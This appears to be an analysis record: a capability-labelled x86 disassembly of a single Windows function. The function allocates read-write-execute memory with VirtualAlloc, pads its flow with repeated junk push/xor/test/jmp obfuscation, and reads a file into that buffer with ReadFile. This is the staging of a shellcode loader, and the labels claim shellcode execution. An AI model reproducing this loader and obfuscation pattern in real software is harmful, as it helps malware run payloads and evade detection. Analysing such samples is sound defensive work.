Function at 0x6b4a4521
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x6b4c6434]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [0x6b4c6438], eax
nop
push dx
push bx
test bx, bx
xor bx, bx
mov bx, dx
xor dx, dx
test dx, dx
xor dx, dx
add bx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop bx
pop dx
jmp 0x6b4a4610
push ax
push cx
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
mov cx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
add cx, ax
pop cx
pop ax
nop
jmp 0x6b4a4613
jmp 0x6b4a4592
nop
mov dword [ebp - 0xc], 0x50
add dword [ebp - 0xc], 1
nop
push dx
push bx
test bx, bx
xor bx, bx
mov bx, dx
xor dx, dx
test dx, dx
xor dx, dx
add bx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop bx
pop dx
jmp 0x6b4a46d9
push ax
push cx
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
mov cx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
add cx, ax
pop cx
pop ax
nop
jmp 0x6b4a46dc
jmp 0x6b4a465b
nop
mov dword [ebp - 0x10], 0x50
add dword [ebp - 0x10], 1
nop
push dx
push bx
test bx, bx
xor bx, bx
mov bx, dx
xor dx, dx
test dx, dx
xor dx, dx
add bx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop bx
pop dx
jmp 0x6b4a47a2
push ax
push cx
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
mov cx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
add cx, ax
pop cx
pop ax
nop
jmp 0x6b4a47a5
jmp 0x6b4a4724
nop
mov dword [ebp - 0x14], 0x14
sub dword [ebp - 0x14], 1
nop
push dx
push bx
test bx, bx
xor bx, bx
mov bx, dx
xor dx, dx
test dx, dx
xor dx, dx
add bx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop bx
pop dx
jmp 0x6b4a486b
push ax
push cx
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
mov cx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
add cx, ax
pop cx
pop ax
nop
jmp 0x6b4a486e
jmp 0x6b4a47ed
nop
nop
push dx
push bx
test bx, bx
xor bx, bx
mov bx, dx
xor dx, dx
test dx, dx
xor dx, dx
add bx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop bx
pop dx
jmp 0x6b4a4929
push ax
push cx
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
mov cx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
add cx, ax
pop cx
pop ax
nop
jmp 0x6b4a492c
jmp 0x6b4a48ab
nop
nop
push dx
push bx
test bx, bx
xor bx, bx
mov bx, dx
xor dx, dx
test dx, dx
xor dx, dx
add bx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop bx
pop dx
jmp 0x6b4a49e7
push ax
push cx
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
mov cx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor cx, cx
xor cx, cx
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
xor cx, cx
test ax, ax
test ax, ax
xor cx, cx
test ax, ax
test ax, ax
test ax, ax
add cx, ax
pop cx
pop ax
nop
jmp 0x6b4a49ea
jmp 0x6b4a4969
nop
mov eax, dword [0x6b4c6438]
test eax, eax
jne 0x6b4a4f68
mov eax, dword [0x6b4c6428]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
nop
push ax
push bx
test bx, bx
xor bx, bx
mov bx, ax
xor ax, ax
test ax, ax
xor ax, ax
add bx, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
pop bx
pop ax
jmp 0x6b4a4ac4
push cx
push dx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
mov dx, cx
test cx, cx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
add dx, cx
pop dx
pop cx
nop
jmp 0x6b4a4ac7
jmp 0x6b4a4a46
nop
nop
push ax
push bx
test bx, bx
xor bx, bx
mov bx, ax
xor ax, ax
test ax, ax
xor ax, ax
add bx, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
pop bx
pop ax
jmp 0x6b4a4b82
push cx
push dx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
mov dx, cx
test cx, cx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
add dx, cx
pop dx
pop cx
nop
jmp 0x6b4a4b85
jmp 0x6b4a4b04
nop
mov dword [ebp - 0x18], 0x50
add dword [ebp - 0x18], 1
nop
push ax
push bx
test bx, bx
xor bx, bx
mov bx, ax
xor ax, ax
test ax, ax
xor ax, ax
add bx, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
pop bx
pop ax
jmp 0x6b4a4c4b
push cx
push dx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
mov dx, cx
test cx, cx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
add dx, cx
pop dx
pop cx
nop
jmp 0x6b4a4c4e
jmp 0x6b4a4bcd
nop
mov dword [ebp - 0x1c], 0x14
sub dword [ebp - 0x1c], 1
nop
push ax
push bx
test bx, bx
xor bx, bx
mov bx, ax
xor ax, ax
test ax, ax
xor ax, ax
add bx, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
pop bx
pop ax
jmp 0x6b4a4d14
push cx
push dx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
mov dx, cx
test cx, cx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
add dx, cx
pop dx
pop cx
nop
jmp 0x6b4a4d17
jmp 0x6b4a4c96
nop
mov dword [ebp - 0x20], 0x14
sub dword [ebp - 0x20], 1
nop
push ax
push bx
test bx, bx
xor bx, bx
mov bx, ax
xor ax, ax
test ax, ax
xor ax, ax
add bx, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
pop bx
pop ax
jmp 0x6b4a4ddd
push cx
push dx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
mov dx, cx
test cx, cx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
add dx, cx
pop dx
pop cx
nop
jmp 0x6b4a4de0
jmp 0x6b4a4d5f
nop
nop
push ax
push bx
test bx, bx
xor bx, bx
mov bx, ax
xor ax, ax
test ax, ax
xor ax, ax
add bx, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
pop bx
pop ax
jmp 0x6b4a4e9b
push cx
push dx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
mov dx, cx
test cx, cx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
add dx, cx
pop dx
pop cx
nop
jmp 0x6b4a4e9e
jmp 0x6b4a4e1d
nop
nop
push ax
push bx
test bx, bx
xor bx, bx
mov bx, ax
xor ax, ax
test ax, ax
xor ax, ax
add bx, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
pop bx
pop ax
jmp 0x6b4a4f59
push cx
push dx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
mov dx, cx
test cx, cx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
test cx, cx
xor dx, dx
xor dx, dx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
xor dx, dx
test cx, cx
test cx, cx
xor dx, dx
test cx, cx
test cx, cx
test cx, cx
add dx, cx
pop dx
pop cx
nop
jmp 0x6b4a4f5c
jmp 0x6b4a4edb
nop
mov dword [ebp - 0x24], 0x50
add dword [ebp - 0x24], 1
mov eax, dword [0x6b4c6434]
mov ecx, eax
mov edx, dword [0x6b4c6438]
mov eax, dword [0x6b4c6428]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
test eax, eax
jne 0x6b4a5209
mov eax, dword [0x6b4c6428]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
nop
push dx
push ax
test ax, ax
xor ax, ax
mov ax, dx
xor dx, dx
test dx, dx
xor dx, dx
add ax, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop ax
pop dx
jmp 0x6b4a5073
push bx
push cx
xor cx, cx
test bx, bx
test bx, bx
test bx, bx
xor cx, cx
test bx, bx
xor cx, cx
test bx, bx
test bx, bx
xor cx, cx
test bx, bx
xor cx, cx
test bx, bx
mov cx, bx
test bx, bx
test bx, bx
test bx, bx
test bx, bx
xor cx, cx
test bx, bx
test bx, bx
test bx, bx
test bx, bx
xor cx, cx
xor cx, cx
test bx, bx
xor cx, cx
test bx, bx
test bx, bx
xor cx, cx
xor cx, cx
test bx, bx
test bx, bx
xor cx, cx
test bx, bx
test bx, bx
test bx, bx
add cx, bx
pop cx
pop bx
nop
jmp 0x6b4a5076
jmp 0x6b4a4ff5
nop
nop
push dx
push ax
test ax, ax
xor ax, ax
mov ax, dx
xor dx, dx
test dx, dx
xor dx, dx
add ax, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop ax
pop dx
jmp 0x6b4a5131
push bx
push cx
xor cx, cx
test bx, bx
test bx, bx
test bx, bx
xor cx, cx
test bx, bx
xor cx, cx
test bx, bx
test bx, bx
xor cx, cx
test bx, bx
xor cx, cx
test bx, bx
mov cx, bx
test bx, bx
test bx, bx
test bx, bx
test bx, bx
xor cx, cx
test bx, bx
test bx, bx
test bx, bx
test bx, bx
xor cx, cx
xor cx, cx
test bx, bx
xor cx, cx
test bx, bx
test bx, bx
xor cx, cx
xor cx, cx
test bx, bx
test bx, bx
xor cx, cx
test bx, bx
test bx, bx
test bx, bx
add cx, bx
pop cx
pop bx
nop
jmp 0x6b4a5134
jmp 0x6b4a50b3
nop
mov dword [ebp - 0x28], 0x14
sub dword [ebp - 0x28], 1
nop
push dx
push ax
test ax, ax
xor ax, ax
mov ax, dx
xor dx, dx
test dx, dx
xor dx, dx
add ax, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop ax
pop dx
jmp 0x6b4a51fa
push bx
push cx
xor cx, cx
test bx, bx
test bx, bx
test bx, bx
xor cx, cx
test bx, bx
xor cx, cx
test bx, bx
test bx, bx
xor cx, cx
test bx, bx
xor cx, cx
test bx, bx
mov cx, bx
test bx, bx
test bx, bx
test bx, bx
test bx, bx
xor cx, cx
test bx, bx
test bx, bx
test bx, bx
test bx, bx
xor cx, cx
xor cx, cx
test bx, bx
xor cx, cx
test bx, bx
test bx, bx
xor cx, cx
xor cx, cx
test bx, bx
test bx, bx
xor cx, cx
test bx, bx
test bx, bx
test bx, bx
add cx, bx
pop cx
pop bx
nop
jmp 0x6b4a51fd
jmp 0x6b4a517c
nop
mov dword [ebp - 0x2c], 0x14
sub dword [ebp - 0x2c], 1
nop
leave
ret